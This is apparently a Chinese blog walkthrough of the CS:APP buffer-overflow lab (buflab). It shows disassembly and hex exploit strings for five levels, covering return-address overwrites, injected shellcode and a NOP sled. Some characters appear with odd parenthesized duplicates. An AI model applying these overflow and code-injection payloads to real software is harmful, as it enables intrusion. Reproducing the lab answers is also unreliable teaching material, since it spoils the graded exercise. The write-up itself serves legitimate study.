| 選項 | 參數(shù) |
|---|---|
| 系統(tǒng)環(huán)境 | Windows10 系統(tǒng)下 VMware 虛擬機 Ubuntu12.04 桌面版 32 位 |
| 原址鏈接 | http://csapp.cs.cmu.edu/3e/labs.html |
userid |
Wilfred |
cookie |
0x23a81b97 |
level0 Candle
首先進入 gdb調(diào)試,觀察到調(diào)用路徑為:
graph LR;
main(main) --> launcher(launcher);
launcher --> launch(launch);
launch --> test(test);
test --> getbuf(getbuf);
getbuf --> Gets(Gets);
其中 Gets 用于讀取字符串,getbuf 分配存儲空間并調(diào)用 Gets 讀取字符串,所以攻擊的目標為 getbuf 函數(shù)。
查看 getbuf 的反匯編代碼
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
確定 buffer 的首地址為 -0x28(%ebp),而返回地址存放在 0x4(%ebp),兩者間隔 44 個字節(jié),同時返回地址占 4 個字節(jié)的空間,所以至少需要 48 個字節(jié)長度的字符。
構(gòu)造如下字符串(使用二進制碼表示,特殊字符無法顯示):
0/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* return address to smoke 4 Bytes */
0b 8e 04 08
主義如果系統(tǒng)是小端法存儲,則多字節(jié)數(shù)據(jù)要倒著寫(博主虛擬機是小端法,所以這里返回地址倒著寫)。
嘗試運行,成功調(diào)用:
level1 Sparkler
該題與 level0 類似,不過調(diào)用的是 fizz 函數(shù),觀察反匯編代碼:
; fizz(int var1)
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
; if (var1 == cookie)
8048db5: 8b 45 08 mov 0x8(%ebp),%eax
8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048dbe: 75 26 jne 8048de6 <fizz+0x37>
; __printf_chk(1, "Fizz!: You called fizz(0x%x)", var1)
8048dc0: 89 44 24 08 mov %eax,0x8(%esp)
8048dc4: c7 44 24 04 e0 a2 04 movl $0x804a2e0,0x4(%esp)
8048dcb: 08
8048dcc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd3: e8 b8 fb ff ff call 8048990 <__printf_chk@plt>
8048dd8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ddf: e8 9c 04 00 00 call 8049280 <validate>
8048de4: eb 18 jmp 8048dfe <fizz+0x4f>
; else
; __printf_chk(1, "Misfire: You called fizz(0x%x)\n", var1)
8048de6: 89 44 24 08 mov %eax,0x8(%esp)
8048dea: c7 44 24 04 d4 a4 04 movl $0x804a4d4,0x4(%esp)
8048df1: 08
8048df2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df9: e8 92 fb ff ff call 8048990 <__printf_chk@plt>
; end if
; exit(0)
8048dfe: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e05: e8 c6 fa ff ff call 80488d0 <exit@plt>
發(fā)現(xiàn) fizz 函數(shù)傳入了一個參數(shù),并且要求與 cookie 相同。
如果了解棧幀,就知道第一個參數(shù)的位置為 0x8(%ebp),構(gòu)造如下字符串:
/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* return address to fizz 4 Bytes */
af 8d 04 08
/* spaces 4 Bytes */
00 00 00 00
/* cookie 4 Bytes */
97 1b a8 23
切記,由于進入 fizz 是通過 return,ebp 的值會加 4,所以 fizz 的 0x8(%ebp) 對應(yīng) getbuf 的0xc(%ebp),需要填充被跳過的 4 個字節(jié)。
嘗試運行,成功通過:
level2 Firecracker
該題需要調(diào)用 bang 函數(shù),觀察反匯編代碼:
08048d52 <bang>:
8048d52: 55 push %ebp
8048d53: 89 e5 mov %esp,%ebp
8048d55: 83 ec 18 sub $0x18,%esp
; if (global_value == cookie)
8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax
8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048d63: 75 26 jne 8048d8b <bang+0x39>
; true
; __printf_chk(1, "Bang!: You set global_value to 0x%x\n", global_value)
8048d65: 89 44 24 08 mov %eax,0x8(%esp)
8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp)
8048d70: 08
8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt>
; validate(2)
8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d84: e8 f7 04 00 00 call 8049280 <validate>
8048d89: eb 18 jmp 8048da3 <bang+0x51>
; false
; __printf_chk(1, "Misfire: global_value = 0x%x\n", global_value)
8048d8b: 89 44 24 08 mov %eax,0x8(%esp)
8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp)
8048d96: 08
8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt>
; end if
8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048daa: e8 21 fb ff ff call 80488d0 <exit@plt>
發(fā)現(xiàn)代碼中判斷了全局變量的值是否為 cookie,而全局變量不存在于棧中,無法通過緩沖區(qū)溢出來覆寫它的值,只能通過注入代碼來實現(xiàn)。所以需要在字符串中構(gòu)造一個函數(shù),先通過 getbuf 函數(shù)返回至構(gòu)造的代碼,在構(gòu)造的代碼中返回至 bang 函數(shù)。
首先設(shè)計匯編代碼:
mov $0x23a81b97,%eax
mov $0x0804d10c,%ecx
mov %eax,(%ecx)
ret
將 cookie 存入 eax 寄存器,再將全局變量的地址存入 ecx 寄存器,通過間接尋址來更改其值然后返回。
使用 as 命令編譯成 .o 文件然后使用 objdump 命令獲得相應(yīng)的二進制編碼,之后構(gòu)造字符串:
/* my function 13 Bytes */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01 /* mov %eax,(%ecx) */
c3 /* ret */
/* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
/* return address to my function 4 Bytes */
58 2f 68 55
/* return address to bang 4 Bytes */
52 8d 04 08
運行程序,成功通過:
level3 Dynamite
本題不再要求返回至其他的函數(shù),而是要求返回至應(yīng)當返回的地方(test中的下一條指令),但是要求返回至更改為 cookie,依舊需要注入代碼來實現(xiàn)。同時 test 中對棧幀進行了檢查,所以在返回至 test 時需要還原 ebp 寄存器的值。
在 gdb 中找到需要還原的值:
設(shè)計如下匯編代碼:
push $0x08048e50 # set return address
push $0x55682fb0 # restore ebp
mov $0x23a81b97,%eax # return value (cookie)
leave
ret
由于 PUSH 指令存放的地址取決于 ebp,所以在設(shè)計字符串時不能將存放 ebp 的空間覆寫為其他值:
/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 2f 68 55 /* push $0x55682fb0 */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
c9 /* leave */
c3 /* ret */
/* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
/* set ebp 4 Bytes */
80 2f 68 55
/* return address to my function 4 Bytes */
58 2f 68 55
還原 ebp 的方法還有另外一種,見 level4。
運行程序,成功通過:
level4 Nitroglycerin
本題與 level3 類似,區(qū)別在于會執(zhí)行 5 次,而且每次調(diào)用的棧幀位置都會發(fā)生變化,同時要求只使用一份字符串來實現(xiàn)功能。
本題的調(diào)用路徑發(fā)生了一些變化:
graph LR;
main(main) --> launcher(launcher);
launcher --> launch(launch);
launch --> testn(testn);
testn --> getbufn(getbufn);
getbufn --> Gets(Gets);
其中 buffer 的空間擴大成了 512 個字節(jié),比原先多了 480 個字節(jié)。
由于只能使用一份字符串,所以每次返回至的位置是相同的,但是每次棧幀位置都會發(fā)生變化,所以我們要保證返回至的位置應(yīng)當是無效代碼,同時它應(yīng)當在我們需要執(zhí)行的代碼的前面(更小的地址)。
由于棧幀不固定,所以 ebp 并非確定的,需要通過 esp 來確定其值,首先觀察 testn 的反匯編代碼:
08048cce <testn>:
8048cce: 55 push %ebp
8048ccf: 89 e5 mov %esp,%ebp
8048cd1: 53 push %ebx
8048cd2: 83 ec 24 sub $0x24,%esp
在 MOV 指令執(zhí)行完畢時 esp 與 ebp 的值相等,之后執(zhí)行了一次 PUSH(esp值減 4),再執(zhí)行 SUB 指令,所以 ebp = esp+0x28。
設(shè)計如下代碼:
lea 0x28(%esp),%ebp # restore ebp
push $0x08048ce2 # set return address
mov $0x23a81b97,%eax # return value (cookie)
ret
接下來需要確定跳轉(zhuǎn)的地方,即 getbuf 的返回地址。雖然 5 次調(diào)用的棧幀地址不同,但是多次執(zhí)行程序,每次都是相同的,所以可以確定跳轉(zhuǎn)的范圍:
| 次數(shù) |
ebp 的值 |
buffer 的首地址 |
|---|---|---|
| 1 | 0x55682f80 |
0x55682d78 |
| 2 | 0x55682f50 |
0x55682d48 |
| 3 | 0x55682f60 |
0x55682d58 |
| 4 | 0x55682f00 |
0x55682cf8 |
| 5 | 0x55682f40 |
0x55682d38 |
跳轉(zhuǎn)的安全范圍應(yīng)當是 buffer ~ ebp,而 buffer 最大為 0x55682d78,所以選擇跳轉(zhuǎn)至 0x55682d78 一定能落在惡意數(shù)據(jù)的范圍內(nèi)。
接下來確定填充的數(shù)據(jù),它應(yīng)當滿足以下兩個條件:
- 本身不會影響到程序的功能
- 指令長度應(yīng)當為
1個字節(jié),以免跳轉(zhuǎn)至一條指令的中間部分導致錯誤
恰好 NOP 指令滿足以上條件,其值為 0x90。
設(shè)計如下字符串:
/* nop sleds 505 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
/* my function 15 Bytes */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
b8 97 1b a8 23 /* mov $0x23a81b97,%eax */
c3 /* ret */
/* set ebp 4 Bytes */
00 00 00 00
/* set return address 4 Bytes */
78 2d 68 55
運行程序,成功通過:
至此,buflab 全部完成!